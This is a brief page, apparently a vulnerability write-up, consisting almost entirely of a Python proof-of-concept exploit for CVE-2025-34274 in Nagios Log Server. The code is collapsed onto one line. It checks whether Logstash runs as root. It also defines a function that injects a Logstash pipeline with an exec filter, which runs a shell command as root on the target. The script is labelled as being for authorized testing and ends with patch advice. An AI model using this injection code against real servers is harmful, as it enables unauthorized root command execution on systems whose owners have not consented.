CVE-2025-34274: Nagios Log Server Logstash以root权限运行导致权限提升

# CVE-2025-34274 PoC - Nagios Log Server Logstash Root Privilege Escalation # This PoC demonstrates the privilege escalation vector (for authorized testing only) import requests import json # Target Nagios Log Server TARGET = "http://target-nagios-log-server:8080" # Step 1: Identify vulnerable Logstash configuration endpoint def check_logstash_config(): """Check if Logstash is running with elevated privileges""" endpoint = f"{TARGET}/api/logstash/config" try: response = requests.get(endpoint, timeout=10) if response.status_code == 200: config = response.json() if config.get('user') == 'root' or config.get('privileged') == True: return True, "Logstash running as root - VULNERABLE" except Exception as e: return False, f"Error: {str(e)}" return False, "Logstash appears to be running with low privileges" # Step 2: Logstash pipeline configuration injection def exploit_pipeline_injection(target_pipeline_id, malicious_config): """ Inject malicious Logstash pipeline configuration This could lead to RCE as root user """ injection_endpoint = f"{TARGET}/api/logstash/pipelines/{target_pipeline_id}" # Malicious pipeline that executes system commands payload = { "pipeline": { "config": malicious_config, "workers": 1, "batch_size": 125, "batch_delay": 5 } } try: response = requests.put(injection_endpoint, json=payload, timeout=30) if response.status_code == 200: return True, "Pipeline injected successfully - awaiting execution" except Exception as e: return False, f"Injection failed: {str(e)}" return False, "Injection attempt failed" # Step 3: Execute command via Logstash exec filter MALICIOUS_CONFIG = ''' input { generator { count => 1 message => "test" } } filter { exec { command => "whoami > /tmp/pwned_user.txt" interval => 1 } } output { stdout { codec => rubydebug } } ''' if __name__ == "__main__": print("CVE-2025-34274 - Nagios Log Server Privilege Escalation Test") print("=" * 60) # Check vulnerability status is_vulnerable, message = check_logstash_config() print(f"[*] Status: {message}") if is_vulnerable: print("[!] Target is VULNERABLE to CVE-2025-34274") print("[!] Logstash process running as root - privilege escalation possible") print("[!] Recommendation: Upgrade to Nagios Log Server 2024R2.0.3 or later") else: print("[+] Target appears to be patched or not vulnerable")